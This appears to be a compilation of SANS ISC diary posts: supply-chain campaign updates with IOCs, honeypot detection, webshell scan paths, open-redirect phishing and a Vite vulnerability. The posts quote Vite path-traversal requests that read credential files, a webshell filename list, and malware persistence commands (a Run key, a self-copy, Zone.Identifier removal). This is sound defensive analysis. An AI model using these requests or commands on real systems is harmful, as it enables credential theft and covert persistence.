Watch Item	Status
Cisco development environment breach	300+ repos stolen via Trivy supply chain; ShinyHunters April 3 extortion deadline passed without visible data dump; expanded claims include 3M+ Salesforce records; no Cisco public statement
Google GTIG tracking	TeamPCP formally designated UNC6780; credential stealer named SANDCLOCK
CipherForce infrastructure	OFFLINE: Both Tor leak sites unavailable for 44+ days; no new victims posted since Feb 23
Sportradar data publication deadline	IMMINENT: CipherForce deadline approximately April 10-11; leak infrastructure currently offline
CISA KEV deadline (April 8)	TODAY: Federal agencies required to have remediated under BOD 22-01; no standalone advisory at day 27
ShinyHunters operations	Running concurrent campaigns: TeamPCP credential exploitation AND Snowflake/Anodot breach (April 7); high operational tempo
TeamPCP internal friction	Infighting and "mole hunt" reported; may be connected to CipherForce infrastructure outage and lapsed extortion deadlines
Campaign blast radius	Mandiant: 1,000+ SaaS environments; organizations still discovering breaches from initial wave
Databricks official statement	Pending: No official disclosure or denial; internal investigation ongoing per Update 004
AstraZeneca confirmation or denial	No official statement: Now approximately 19 days since initial LAPSUS$ claim; data released for free after failed monetization
Additional package compromises	No new compromises: 24-day pause, longest since campaign began
CISA standalone advisory	Pending at day 27: KEV entries, FBI alert, and Singapore CSA advisories only
Expansion to RubyGems/crates.io/Maven	Not observed: No compromises reported in these registries
Law enforcement action	No public action: No arrests, indictments, or infrastructure seizures
ownCloud build restoration	Pending: Build infrastructure remains fully offline; no restoration timeline provided
Vect ransomware affiliate deployments	No confirmed mass deployments: Sportradar confirmed as joint operation; no broad affiliate activity reported

One question that often comes up when I talk about honeypots: Are attackers able to figure out if they are connected to a honeypot? The answer is pretty simple: Yes!

Most "medium interaction" honeypots, like the one we are using, are just simulating various systems. These simulations are incomplete. For example, we are using the "Cowrie" honeypot to emulate SSH and telnet servers. Once an attacker is connected, any package they are installing will appear to install. In the past, I have written about attackers attempting to install bogus packages. If the install appears to succeed, the attacker knows they are connected to a honeypot. Some attackers look for SSH artifacts, such as the number and types of ciphers supported by SSH.

Today, I noticed one attacker, (IP address %%ip:45.135.194.48%%), using another common trick: Cowrie will often allow attackers to connect "randomly". The effect is that various username and password combinations appear to work. In this case, the attacker used usernames and passwords that are highly unlikely to work. If they succeed, they know they are connected to a honeypot. Here are some of the usernames and passwords used:

username	password
admin	definitely_not_valid_creds
honeypot	indexer
honeypotter	imaginegettingindexed
xXhoneypotXx	P@ssw0rd1337!
youjustgotindexed	getindexedretard

Will we do anything to block these types of requests? Maybe... I am not sure it is important enough to "hide" honeypots. One advantage we have is that many of our honeypots are connected to home networks with dynamic IPs. As a result, any IP address list an attacker will create is somewhat ephemeral. Secondly, we are mostly interested in internet-wide scans. We are not going to detect targeted attacks or zero days. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Webshells remain a popular method for attackers to maintain persistence on a compromised web server. Many "arbitrary file write" and "remote code execution" vulnerabilities are used to drop small files on systems for later execution of additional payloads. The names of these files keep changing and are often chosen to "fit in" with other files. Webshells themselves are also often used by parasitic attacks to compromise a server. Sadly (?), attackers are not always selecting good passwords either. In some cases, webshells come with pre-set backdoor credentials, which may be overlooked by a less sophisticated attacker. 

I noticed first requests for a particular URL: /turkshell.php . This URL is linked to a well-known webshell. On this particular day, only four IPs were scanned for it:

20.48.232.178, 20.215.65.23, 51.12.84.116, 51.103.130.249

It is a little bit odd, but all four appear to be assigned to Microsoft. There may be an attacker targeting systems inside Microsoft's cloud environment. Or all four are used by the same (compromised?) organization.

Next, I queried our database to see which other URLs these IP addresses probed, and ended up with 287(!) hits. Here are the top 10:

 

URL	Count
/wp-content/	45
/ms-edit.php	44
/fe5.php	43
/wp-content/admin.php	39
/av.php	36
/wp-content/plugins/hellopress/wp_filemanager.php	27
/wp-content/themes/index.php	23
/k.php	23
/goods.php	23
/222.php	23

One common theme was the use of the prefix "wp-", likely to better fit in on WordPress sites. The scans also included "non-webshell" URLs like "/wp-content/plugins/hellopress/wp_filemanager.php," which may be useful for fingerprinting the site or may be vulnerable to being used as or deployed as webshells.

What should you do to protect yourself from webshells?

1. Don't have any remote code execution or file upload vulnerabilities (yes... easy to say)
2. Restrict permissions to not allow file uploads to your document root (sadly, in particular CMSs like WordPress sometimes have to be able to do so)
3. Monitor the file system for changes

What does not work (or not work very well): Scanning for specific filenames. The 287 files these four IPs looked for make a rather incomplete list. I will add it below, but please don't consider it complete. I am not even sure it is worth the effort to scan for these specific filenames. You may also get some false positives. Not every item on this list is a webshell, and some sites may use identical filenames for regular content.

/.mopj.php
/.tmb/8.php
/.tmb/a5.php
/.tmb/nano.php
/.well-known/
/.well-known/7.php
/.well-known/8.php
/.well-known/a5.php
/.well-known/f35.php
/.well-known/simple.php
/.yuf.php
//a1.php
//aa.php
//about.php
//admin.php
//admina.php
//adminfuns.php
//av.php
//cacheee.php
//cgi-bin/index.php
//edit.php
//f6.php
//fetch.php
//inputs.php
//wp-content/admin.php
//wp-content/uploads/2021/02/index.php
//wp-includes/css/dist/
//wp-includes/css/index.php
//wp-includes/js/jquery/
//wp-includes/l10n/
//wp-mter.php
//xwpg.php
/1.php
/10.php
/100.php
/111.php
/1111.php
/1111.php?p=
/13.php
/133927/8.php
/19.php
/2.php
/2026w.php
/222.php
/2e754/a5.php
/3.php
/4.php
/403.php
/404.php
/5.php
/6.php
/66.php
/7.php
/8.php
/9.php
/a1.php
/a2.php
/a5.php
/aa.php
/aaa.php
/aaa.php?p=
/abc.php
/abcd.php
/about.php
/about2.php
/acp.php
/admin.php
/admin.php.
/admin/controller/extension/extension/ultra.php
/adminfuns.php
/administrator/7.php
/alfa.php
/alfashell.php
/aligk.php
/alpha.php
/an.php
/as.php
/ass.php
/autoload_classmap.php
/av.php
/aw.php
/axx.php
/bal.php
/bb.php
/BDKR28WP.php
/bengi.php
/bgymj.php
/bless.php
/bless4.php
/bogles.php
/bs1.php
/bthil.php
/bypltspd.php
/byrgo.php
/cabs.php
/cache.php
/cacheee.php
/cgi-bin/
/cgi-bin/7.php
/cgi-bin/8.php
/cgi-bin/a5.php
/cgi-bin/index.php
/chosen.php
/class-t.api.php
/class.php
/class19.php
/class20.php
/classwithtostring.php
/classwithtostring.php?p=
/cli/7.php
/config.php
/configPCJ/f35.php
/content.php
/control.php
/css/autoload_classmap.php
/defaults.php
/dev.php
/edit.php
/eee.php
/esp.php
/ew.php
/f35_S.php
/f35.php
/f6.php
/fe5.php
/fetch.php
/fff.php
/fi.php
/file.php
/file18.php
/file21.php
/file31.php
/file48.php
/file61.php
/fine.php
/flower.php
/ftde.php
/function/function.php
/fvvff.php
/fx.php
/g.php
/gecko-new.php
/gelay.php
/gettest.php
/ghhjh.php
/god4m.php
/goods.php
/gptsh.php
/gssdd.php
/hplfuns.php
/images/simple.php
/in.php
/includes/7.php
/index.php
/index/8.php
/index/function.php
/inege.php
/info.php
/inputs.php
/ioxi-o.php
/item.php
/jp.php
/k.php
/kbfr.php
/kj.php
/lock360.php
/makeasmtp.php
/makeasmtp.php?p=
/mari.php
/moon.php
/motu.php
/ms-edit.php
/nano.php
/new.php
/NewFile.php
/no1.php
/no18.php
/o.php
/ok.php
/ol.php
/pcp/simple.php
/plss3.php
/plugins.php
/plugins/7.php
/prv8.php
/qqa.php
/randkeyword.PhP7
/read.php
/rip.php
/s.php
/sbhu.php
/seo.php
/sf.php
/simple.php
/style.php
/swallowable.php
/system.php
/tea.php
/test1.php
/themes.php
/tinyfilemanager.php
/tinyfilemanager.php?p=
/tmp.php
/turkshell.php
/txets.php
/update/f35.php
/uploads/
/uuu.php
/vee.php
/w2025.php
/we.php
/well-known/nano.php
/wen.php
/wi.php
/wk/index.php
/wordpress/8.php
/wp-act.php
/wp-admin/8.php
/wp-admin/a.php
/wp-admin/alfa.php
/wp-admin/css/bolt.php
/wp-admin/css/colors
/wp-admin/css/colors/ectoplasm/
/wp-admin/images/
/wp-admin/js/
/wp-admin/js/fi.php
/wp-admin/js/widgets/
/wp-admin/nano.php
/wp-admin/network/index.php
/wp-admin/user/index.php
/wp-blog.php
/wp-conf.php
/wp-content/
/wp-content/8.php
/wp-content/a5.php
/wp-content/admin.php
/wp-content/plugins/core-plugin/include.php
/wp-content/plugins/hellopress/wp_filemanager.php
/wp-content/plugins/index.php
/wp-content/plugins/pwnd/as.php
/wp-content/plugins/WordPressCore/
/wp-content/themes/
/wp-content/themes/admin.php
/wp-content/themes/hideo/network.php
/wp-content/themes/index.php
/wp-content/uploads/
/wp-content/uploads/2021/02/index.php
/wp-content/uploads/index.php
/wp-good.php
/wp-includes/
/wp-includes/8.php
/wp-includes/a5.php
/wp-includes/css/dist/
/wp-includes/css/index.php?p=
/wp-includes/html-api/
/wp-includes/ID3/
/wp-includes/images/
/wp-includes/IXR/test1.php
/wp-includes/js/crop/cropper.php
/wp-includes/js/jquery/
/wp-includes/l10n/
/wp-includes/nano.php
/wp-includes/PHPMailer/
/wp-includes/Requests/src/Response/about.php
/wp-includes/SimplePie/
/wp-includes/Text/Diff/Engine/about.php
/wp-kd4xalrg7m.php
/wp-login.php
/wp-michan.php
/wp-mter.php
/wp-the.php
/wp-trackback.php
/wp-update.php
/wp.php
/wp1.php
/wpx.php
/ws.php
/x1da.php
/xa.php
/xmlrpc.php
/xmrlpc.php
/xozx.php
/xqq.php
/xwpg.php
/xwx1.php
/xx.php
/zample.php
 

 

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In one of his recent diaries, Johannes discussed how open redirects are actively being sought out by threat actors[1], which made me wonder about how commonly these mechanisms are actually misused…

Although open redirect is not generally considered a high-impact vulnerability on its own, it can have multiple negative implications. Johannes already covered one in connection with OAuth flows, but another important (mis)use case for them is phishing.

The reason is quite straightforward – links pointing to legitimate domains (such as google.com) included in phishing messages may appear benign to recipients and can also evade simpler e-mail scanners and other detection mechanisms.

Even though open redirect has not been listed in OWASP Top 10 for quite some time, it is clear that attackers have never stopped looking for it or using it. If I look at traffic on almost any one of my own domains, hardly a month goes by when I don’t see attempts to identify potentially vulnerable endpoints, such as:

/out.php?link=https://domain.tld/

While these attempts are not particularly frequent, they are generally consistent.

We also continue to see open redirect used in phishing campaigns. Last year, I wrote about a campaign using a “half-open” (i.e., easily abusable) redirect mechanism on Google [2], and similar cases still seem to appear regularly.

But how regular are they, actually?

To find out, I reviewed phishing e-mails collected through my own filters and spam traps, as well as samples sent to us here at the ISC (either by our professional colleagues, or by threat actors themselves), over the first quarter of this year. Although the total sample only consisted of slightly more than 350 individual messages (and is therefore far from statistically representative), it still provided quite interesting results.

Redirect-based phishing accounted for a little over 21 % of all analyzed messages sent out over the first 3 months of 2026 – specifically for 32 % in January, 18 % in February and 16.5 % in March.

It should be noted that if a message contained multiple malicious links and at least one of them used a redirect, the entire message was counted exclusively as a redirect sample, and that not all redirect cases were classic "open redirects". In fact, the abused redirect mechanisms varied widely.

Some behaved similarly to the aforementioned Google-style “half-open” redirects (see details below), while others were fully open. In some cases, the redirectors were part of tracking or advertising systems, while in others, they were implemented as logout endpoints or similar mechanisms. It should be noted that URL shorteners were also counted as redirectors (although these were not particularly common).

As we mentioned, the Google-style redirects are not fully open. They do require a specific valid token to work, however, since these tokens are typically reusable, have a very long lifetime, and are not tied to any specific context (such as IP address or session), they can be – and are – readily reused in phishing campaigns.

An example of such a phishing message and subsequent redirection can be seen in the following images. Though, to avoid focusing solely on Google, it should be mentioned that similar redirect mechanisms on other platforms (e.g., Bing) are also being abused in the same way.

As we can see, although open redirect is commonly considered more of a nuisance issue than an actual high-risk vulnerability these days, it doesn’t keep malicious actors from misusing it quite heavily… Which means we shouldn’t just ignore it.

At the very least, it is worth ensuring that our own applications do not expose endpoints that can be misused in this way. And where any redirection functionality is strictly required, it should be monitored for abuse and restricted as necessary.

[1] https://isc.sans.edu/diary/Open+Redirects+A+Forgotten+Vulnerability/32742
[2] https://isc.sans.edu/diary/Another+day+another+phishing+campaign+abusing+googlecom+open+redirects/31950

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

This is the sixth update to the TeamPCP supply chain campaign threat intelligence report, "When the Security Scanner Became the Weapon" (v3.0, March 25, 2026). Update 005 covered developments through April 1, including the first confirmed victim disclosure (Mercor AI), Wiz's post-compromise cloud enumeration findings, DPRK attribution of the axios compromise, and LiteLLM's release resumption after Mandiant's forensic audit. This update covers intelligence from April 1 through April 3, 2026.

CRITICAL: CERT-EU Confirms European Commission Cloud Breach via Trivy Supply Chain Compromise

CERT-EU disclosed on April 2-3, 2026 that the European Commission's Europa web hosting platform on AWS was breached through the Trivy supply chain compromise (CVE-2026-33634). This is the highest-profile governmental victim disclosure to date.

Key details from the CERT-EU advisory:

• Initial access: AWS API keys stolen via the compromised Trivy scanner on March 19
• Detection: European Commission Security Operations Center fired alerts on March 24 (5 days after initial intrusion)
• CERT-EU notified: March 25; access revoked same day
• Data exfiltrated: 340 GB uncompressed (91.7 GB compressed archive) from the compromised AWS account
• Email exposure: Approximately 52,000 email-related files (2.22 GB) of outbound communications
• Scope: 71 clients affected: 42 internal European Commission departments plus 29 other EU entities, meaning at least 30 Union entities were potentially impacted
• Data publication: ShinyHunters published the stolen data on their dark web leak site on March 28
• Lateral movement: CERT-EU confirmed no lateral movement to other Commission AWS accounts was detected
• Europa.eu websites remained unaffected throughout

Analysts assess this disclosure is significant on multiple dimensions. First, it confirms that TeamPCP-harvested credentials reached a major governmental institution, not just private-sector targets. Second, the involvement of ShinyHunters in the data publication raises questions about the credential distribution chain, as ShinyHunters is operationally distinct from TeamPCP's known LAPSUS$ and Vect partnerships. Third, the five-day dwell time between initial access (March 19) and detection (March 24) is consistent with the 24-hour operational tempo that Wiz documented for TeamPCP's post-compromise cloud enumeration.

Recommended action: EU institutions and organizations hosted on Europa infrastructure should review CERT-EU's advisory for specific exposure indicators. Organizations with AWS credentials that may have been exposed through the Trivy compromise should treat the EC breach as confirmation that stolen credentials are being actively used against high-value targets. The CERT-EU disclosure timeline (initial access March 19, detection March 24, notification March 25, public disclosure April 2) demonstrates that even well-resourced organizations required five days to detect the intrusion.

HIGH: Sportradar AG Breach Details Confirmed: TeamPCP and Vect Joint Operation

VECERT reported on April 2, 2026 that the Sportradar AG breach (first claimed as a CipherForce victim in Update 004) has been confirmed as a "systemic compromise" jointly operated by TeamPCP and Vect ransomware. Sportradar is a $4.98 billion Swiss sports technology company.

Confirmed breach details:

• Entry vector: Supply chain via compromised Trivy (CVE-2026-33634)
• Personal data: Approximately 26,000 users' personal information exposed
• Athlete records: 23,169 records including names, dates of birth, gender, and nationality
• Client exposure: Client table listing 161 organizations including ESPN, Nike, NBA Asia, and IMG Arena
• Credential exposure: 8 production RDS database passwords, 328 platform API key/secret pairs, Kafka SASL credentials, and New Relic monitoring tokens
• CipherForce ransomware: Listed on the CipherForce shame site with the original 14-15 day publication deadline (approaching approximately April 10-11)

This is the first confirmed case of TeamPCP and Vect operating jointly against a single target, validating the dual-track ransomware model documented in earlier updates. The exposure of 161 client organizations including major sports leagues and media companies creates a cascading notification and risk assessment obligation for Sportradar.

Recommended action: Organizations with Sportradar business relationships should proactively assess whether their data appears in the exposed client table. The 328 exposed API key/secret pairs create a secondary supply chain risk for Sportradar's integration partners.

HIGH: Mandiant Quantifies Campaign Scale: Over 1,000 SaaS Environments, Estimated 500,000 Machines

Multiple vendor statements published April 1-2 have provided the first authoritative quantification of the campaign's total blast radius:

• Mandiant CTO Charles Carmakal stated that Google-owned Mandiant knew of "over 1,000 impacted SaaS environments" actively dealing with cascading effects from the TeamPCP supply chain compromises.
• Google Cloud researchers warned that "hundreds of thousands of stolen secrets could potentially be circulating" from the credential trove.
• The Register cited estimates suggesting attackers exfiltrated data and secrets from approximately 500,000 machines total across all victims.
• Palo Alto Networks Unit 42 identified affected organizations across the US, Europe, Middle East, South Asia, and Australia, spanning financial services, technology, retail, legal, insurance, and education sectors.

These numbers move the campaign's assessed scale from qualitative ("thousands of downstream environments," per the FBI alert) to quantitative. The 1,000+ SaaS environments figure is particularly significant because it implies credential exploitation is ongoing across a far larger surface than the handful of publicly named victims suggests.

Recommended action: Organizations that have not yet completed credential rotation should treat the Mandiant quantification as definitive evidence that delayed rotation increases exposure to an actively exploited credential pool of industrial scale.

MEDIUM: Elastic Security Labs Publishes Container Attack Detection Guide with MITRE ATT&CK Mapping

Elastic Security Labs published a new technical resource, "Linux & Cloud Detection Engineering: TeamPCP Container Attack Scenario," providing a full walkthrough of TeamPCP's multi-stage container compromise methodology. This is distinct from Elastic's earlier axios supply chain compromise detections covered in Update 005 and focuses specifically on the TeamPCP toolchain.

New technical details documented:

• Tunneling tools: TeamPCP uses frps (fast reverse proxy) and gost for establishing persistent tunnels and proxying through compromised container environments
• React2Shell: A web server exploitation technique used for initial foothold in containerized workloads
• D4C telemetry: Full detection walkthrough using Elastic's Defend for Containers telemetry
• MITRE ATT&CK mapping: Each stage of the container attack chain mapped to specific ATT&CK techniques, providing structured detection logic

Recommended action: SOC teams operating containerized workloads should review the Elastic guide for detection rules specific to TeamPCP's container attack methodology. The frps and gost indicators are new IOCs not previously documented in the campaign's public reporting.

MEDIUM: Mercor Breach Triggers Class Action Investigations

The Mercor AI breach (first confirmed in Update 005) has escalated beyond incident response into legal proceedings. Shamis & Gentile P.A. has launched a class action investigation into Mercor's data breach, focusing on the exposure of contractor and customer data including biometric identity verification materials (passports and video interviews).

Additional context that emerged April 1-2:

• Fortune reported Mercor is valued at $10 billion (raised $350M Series C in October 2025)
• Mercor's customers confirmed to include Anthropic, OpenAI, and Meta
• LAPSUS$ published samples including Slack data, internal ticketing records, and two videos of AI-contractor conversations
• Data is listed for live auction on the dark web

The class action investigation introduces a legal dimension to the campaign's downstream consequences. The exposure of biometric identity verification materials (passports) for an estimated 30,000+ AI contractors raises GDPR, CCPA, and potentially BIPA obligations.

INFO: New Vendor Publications and Analysis

Several new vendor publications appeared in the April 1-3 window:

• Datadog Security Labs published a detailed technical trace of the full LiteLLM and Telnyx PyPI compromise chain, tracing it back to the March 19 Trivy origin and recommending that any host that installed compromised versions be treated as a "full-credential exposure event."
• Oligo Security published "Evolution of Modern Supply Chain Attacks," documenting TeamPCP's credential harvesting timeline and framing the campaign as a "meaningful shift" in how sophisticated actors approach supply chain as an attack surface.
• The New Stack (April 2) published "The CI/CD Pipeline Is the New Front Line," positioning TeamPCP as a watershed moment for CI/CD pipeline security.
• CYFIRMA Weekly Intelligence Report (April 3) covered the campaign, noting the Europa hosting platform impact and the 71 affected clients.

INFO: Supply Chain Pause Extends to Approximately 16 Days

No new package compromises have been reported since the Telnyx PyPI disclosure on March 27. The supply chain pause is now approximately 384 hours (16 days), doubling the 192-hour pause reported in Update 005. Independent searches of RubyGems, crates.io, and Maven Central continue to show zero TeamPCP-related IOCs. The campaign remains confined to five ecosystems: GitHub Actions, PyPI, npm, Docker Hub/GHCR, and OpenVSX.

The CISA KEV remediation deadline for CVE-2026-33634 is now 5 days away (April 8, 2026).

Watch Item Status

Watch Item	Status
European Commission breach response	NEW: CERT-EU disclosed April 2-3; 71 clients affected, 30 EU entities; ShinyHunters published data March 28
Sportradar data publication deadline	NEW/APPROACHING: CipherForce 14-15 day deadline from March 26-27 claim approaches approximately April 10-11
Campaign scale quantification	CONFIRMED: Mandiant: 1,000+ SaaS environments; estimates of 500,000 machines across all victims
Mercor legal proceedings	NEW: Class action investigation launched by Shamis & Gentile; Fortune values Mercor at $10B
CISA KEV deadline (April 8)	5 days remaining: Organizations running Trivy must remediate to v0.69.2+, trivy-action v0.35.0, or setup-trivy v0.2.6
Databricks official statement	Pending: No official disclosure; internal investigation ongoing per Update 004
Vect ransomware confirmed deployments	No confirmed downstream deployments from affiliate program; distribution window now approximately 16 days
AstraZeneca confirmation or denial	No official statement: Now approximately 8 days since initial LAPSUS$ claim
Additional package compromises	No new compromises: 16-day pause, longest since campaign began
CISA standalone advisory	Pending at day 20: KEV entries, FBI alert, and Singapore CSA advisories only; no dedicated advisory or emergency directive
Expansion to RubyGems/crates.io/Maven	Not observed: Zero IOCs in independent registry searches
Law enforcement action	No public action: FBI advisory issued but no arrests, indictments, or infrastructure seizures
ownCloud build restoration	Pending: Several weeks estimated; no timeline update since initial disclosure
Nation-state credential exploitation	CONFIRMED: DPRK UNC1069/Sapphire Sleet axios attack attributed by four vendors per Update 005; credential link to TeamPCP trove not ruled out
ShinyHunters involvement	NEW: Published EC data March 28; relationship to TeamPCP/LAPSUS$/Vect ecosystem unclear

 

From its GitHub repo: "Vite (French word for "quick", pronounced /vi?t/, like "veet") is a new breed of frontend build tooling that significantly improves the frontend development experience" [https://github.com/vitejs/vite].

This environment introduces some neat and useful shortcuts to make developers' lives simpler. But as so often, if exposed, these features can be turned against you.

Today, I noticed our honeypots collecting URLs like:

/@fs/../../../../../etc/environment?raw??
/@fs/etc/environment?raw??
/@fs/home/app/.aws/credentials?raw??

and many more like it. The common denominator is the prefix "/@fs/" and the ending '?raw??'. This pattern matches CVE-2025-30208, a vulnerability in Vite described by Offsec.com in July last year [https://www.offsec.com/blog/cve-2025-30208/]. 

The '@fs' feature is a Vite prefix for retrieving files from the server. To protect the server's file system, Vite implements configuration directives to restrict access to specific directories. However, the '??raw?' suffix can be used to bypass the access list and download arbitrary files. Scanning activity on port 5173 is quite low, and the attacks we have seen use standard web server ports.

Vite is typically listening on port 5173. It should be installed such that it is only reachable via localhost, but apparently, at least attackers believe that it is often exposed. The attacks we are seeing are attempting to retrieve various well-known configuration files, likely to extract secrets. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This is the fifth update to the TeamPCP supply chain campaign threat intelligence report, "When the Security Scanner Became the Weapon" (v3.0, March 25, 2026). Update 004 covered developments through March 30, including the Databricks investigation, dual ransomware operations, and AstraZeneca data release. This update consolidates two days of intelligence through April 1, 2026.

HIGH: Mercor AI Confirms Breach Tied to LiteLLM Supply Chain Compromise - First Official Victim Disclosure

AI recruiting startup Mercor has publicly confirmed it was breached as a direct consequence of the LiteLLM supply chain compromise, making it the first organization to officially acknowledge being victimized through the TeamPCP campaign. TechCrunch reported on March 31 that LAPSUS$ claims to have exfiltrated approximately 4TB of data, including 939GB of source code, a 211GB user database, and 3TB of video interviews and identity verification documents (passports). Initial access was reportedly via a compromised Tailscale VPN credential.

Mercor stated it was "one of thousands of companies" affected by the LiteLLM compromise. The nature of the claimed exfiltrated data -- which includes biometric identity verification materials -- raises significant privacy and regulatory implications under GDPR, CCPA, and potentially HIPAA depending on the contents.

This is operationally significant because it moves the campaign's downstream impact from theoretical to confirmed. Prior victim claims (AstraZeneca, Databricks) remain unconfirmed by the named organizations. Mercor's public acknowledgment validates what analysts have assessed since Update 002: the credential trove harvested during the supply chain phase is being actively exploited for data theft and extortion.

Recommended action: Organizations that used LiteLLM v1.82.7 or v1.82.8 should treat this as confirmation that credential exploitation is actively underway. If you have not completed credential rotation, the Mercor disclosure demonstrates the consequence of delay. VPN credentials, cloud access tokens, and API keys accessible in compromised environments should be prioritized for rotation.

HIGH: Wiz Documents TeamPCP Post-Compromise AWS and Cloud Enumeration in the Wild

SecurityWeek reported on March 31 that Wiz's Cloud Incident Response Team (CIRT) has published detailed findings on TeamPCP's post-compromise cloud operations in "Tracking TeamPCP: Investigating Post-Compromise Attacks Seen in the Wild". This is the first detailed public documentation of what TeamPCP does after obtaining stolen credentials.

Key findings from the Wiz CIRT investigation:

• Credential validation via TruffleHog: TeamPCP uses the open-source secret scanning tool TruffleHog to programmatically verify that stolen AWS access keys, Azure application secrets, and SaaS tokens are still valid and in use.
• 24-hour operational tempo: Within 24 hours of validating stolen secrets, the group transitions to discovery operations in compromised AWS environments.
• AWS enumeration focus: Discovery operations enumerate IAM roles, EC2 instances, Lambda functions, RDS databases, S3 buckets, and ECS clusters, with particular focus on container infrastructure where the group maps clusters and task definitions.
• Bold operational signatures: The group uses conspicuous resource names including "pawn" and "massive-exfil" -- analysts assess this indicates either operational carelessness or deliberate intimidation, consistent with their public Telegram messaging.

The Wiz findings also contextualize the Flare threat intelligence report, which found that TeamPCP's cloud infrastructure targeting breaks down as Azure (61%) and AWS (36%), accounting for 97% of compromised servers.

Recommended action: Organizations should search cloud audit logs for unauthorized IAM enumeration, EC2/ECS/Lambda discovery calls, and S3 listing operations originating from unfamiliar principals. TruffleHog validation attempts may appear as rapid sequential API calls testing credential validity across multiple services. Search for resources with names containing "pawn", "massive-exfil", or similar conspicuous strings.

Note for threat hunters: The full Wiz CIRT report contains extensively documented indicators of compromise including specific AWS API call patterns, resource naming conventions, and infrastructure fingerprints observed in the wild. Threat hunters and SOC teams should review the Wiz report in detail for actionable detection content.

MEDIUM: Axios npm Compromise Attributed to North Korean UNC1069 - Not TeamPCP, but Credential Source Remains Open

The axios npm compromise (March 30-31, malicious versions 1.14.1 and 0.30.4) has received formal attribution. Elastic Security Labs published a detailed analysis identifying the macOS Mach-O binary payload as overlapping with WAVESHAPER, a C++ backdoor that Mandiant attributes to UNC1069, a suspected North Korean threat actor. Google's Threat Intelligence Group published a companion analysis confirming the DPRK attribution.

This narrows the assessment from Update 004's "credential provenance raises TeamPCP questions" to a more specific picture: analysts assess with high confidence that a different threat actor executed the axios attack, but the question of how the maintainer's npm token was originally obtained remains unanswered. The token was a long-lived classic npm access token -- exactly the type that TeamPCP's CanisterWorm findNpmTokens() function harvests from CI/CD environments. The timing aligns with TeamPCP's monetization phase and the BreachForums credential distribution to approximately 300,000 users.

The SANS ISC Stormcast for April 1, 2026 noted: "Given that TeamPCP recently collected so many developer credentials, it's very possible that they were involved in the Axios compromise, though the follow-up compromise doesn't look like TeamPCP, as the techniques look a little bit different."

Singapore's Cyber Security Agency has issued a second advisory, AD-2026-002, specifically addressing the axios supply chain attack -- making Singapore the only government to have issued dedicated advisories for both the TeamPCP campaign and the axios incident.

Recommended action: Organizations that installed axios v1.14.1 or v0.30.4 should check for platform-specific IOCs: macOS (/Library/Caches/com.apple.act.mond), Windows (%PROGRAMDATA%\wt.exe), Linux (/tmp/ld.py). Block C2 domain sfrclak[.]com and IP 142.11.206[.]73. The DPRK attribution elevates the severity -- this is now a nation-state operation exploiting the same credential ecosystem that TeamPCP seeded.

MEDIUM: LiteLLM Resumes Publishing After Forensic Audit - Release Freeze Lifted

BerriAI has lifted the LiteLLM release freeze that has been in effect since March 25. According to the LiteLLM security update, the Mandiant-led forensic audit verified every release from v1.78.0 through v1.82.6 via SHA-256 comparison against the Git repository, confirming no additional compromised versions exist beyond the known-malicious v1.82.7 and v1.82.8. A new safe version was published on March 31, 2026.

This resolves the "LiteLLM/BerriAI release resumption" watch item that has been tracked since Update 001. The quarantine lift and publishing resumption signal that the forensic investigation found no evidence of earlier or broader compromise beyond the two known-malicious versions.

Recommended action: Organizations that froze LiteLLM upgrades can resume normal update procedures. Verify you are running a version that post-dates the forensic audit. Continue to treat any historical installation of v1.82.7 or v1.82.8 as a confirmed compromise requiring full credential rotation.

INFO: ownCloud Discloses CVE-2026-33634 Build Infrastructure Impact

ownCloud published a security notice confirming their build infrastructure was affected by the Trivy supply chain compromise (CVE-2026-33634). ownCloud stated that no customer data was compromised, characterizing the impact as limited to build pipeline exposure. This is notable as one of the few organizations to proactively disclose exposure without a corresponding extortion claim. This is a positive example of transparent incident communication.

INFO: Supply Chain Pause Extends to Approximately 192 Hours

No new package compromises have been reported since the Telnyx PyPI disclosure on March 27. The supply chain pause is now approximately 192 hours (8 days) -- extending the record documented in Updates 003 through the Update 005 draft. The CISA KEV remediation deadline for CVE-2026-33634 is now 7 days away (April 8, 2026).

Independent searches of RubyGems, crates.io, and Maven Central continue to show zero TeamPCP-related IOCs. The campaign remains confined to five ecosystems: GitHub Actions, PyPI, npm, Docker Hub/GHCR, and OpenVSX.

Watch Item Status

Watch Item	Status
First confirmed victim disclosure	RESOLVED -- Mercor AI confirmed breach via LiteLLM on March 31
Post-compromise cloud activity	DOCUMENTED -- Wiz CIRT published AWS/Azure enumeration findings
Axios token provenance	NARROWED -- Google TIG/Elastic attribute execution to DPRK UNC1069; token source still undetermined
LiteLLM/BerriAI release resumption	RESOLVED -- Publishing resumed March 31 after Mandiant forensic audit
Databricks official statement	Pending -- No official disclosure, internal investigation ongoing
AstraZeneca confirmation or denial	No official statement -- Data released by LAPSUS$, Cybernews partially verified contents
Vect ransomware confirmed deployments from affiliate program	No confirmed deployments -- Distribution window now approximately 192 hours
Additional package compromises	No new compromises -- 192-hour pause, longest since campaign began
CISA standalone advisory	Pending at day 14 -- KEV entry, FBI alert, and Singapore CSA advisories only
Expansion to RubyGems/crates[.]io/Maven	Not observed -- Zero IOCs in independent registry searches
CISA KEV deadline	April 8, 2026 -- 7 days remaining
Nation-state credential exploitation	NEW -- DPRK-attributed UNC1069 may be leveraging TeamPCP-seeded credential ecosystem

The full campaign report is available at sans.org/white-papers/when-security-scanner-became-weapon. A SANS Emergency Webcast replay is available at sans.org/webcasts/when-security-scanner-became-weapon. Updates to the report will be in the form of these ISC diaries.

Today, most malware are called “fileless” because they try to reduce their footprint on the infected computer filesystem to the bare minimum. But they need to write something… think about persistence. They can use the registry as an alternative storage location.

But some scripts still rely on files that are executed at boot time. For example, via a “Run” key:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v csgh4Pbzclmp /t REG_SZ /d "\"%APPDATA%\Microsoft\Windows\Templates\dwm.cmd\"" /f >nul 2>&1

The file located in %APPDATA% will be executed at boot time.

From the attacker’s point of view, there is a problem: The original script copies itself:

copy /Y "%~f0" "%APPDATA%\Microsoft\Windows\Templates\dwm.cmd" >nul 2>&1

Just after the copy operation, a PowerShell one-liner is executed:

powershell -w h -c "try{Remove-Item -Path '%APPDATA%\Microsoft\Windows\Templates\dwm.cmd:Zone.Identifier' -Force -ErrorAction SilentlyContinue}catch{}" >nul 2>&1

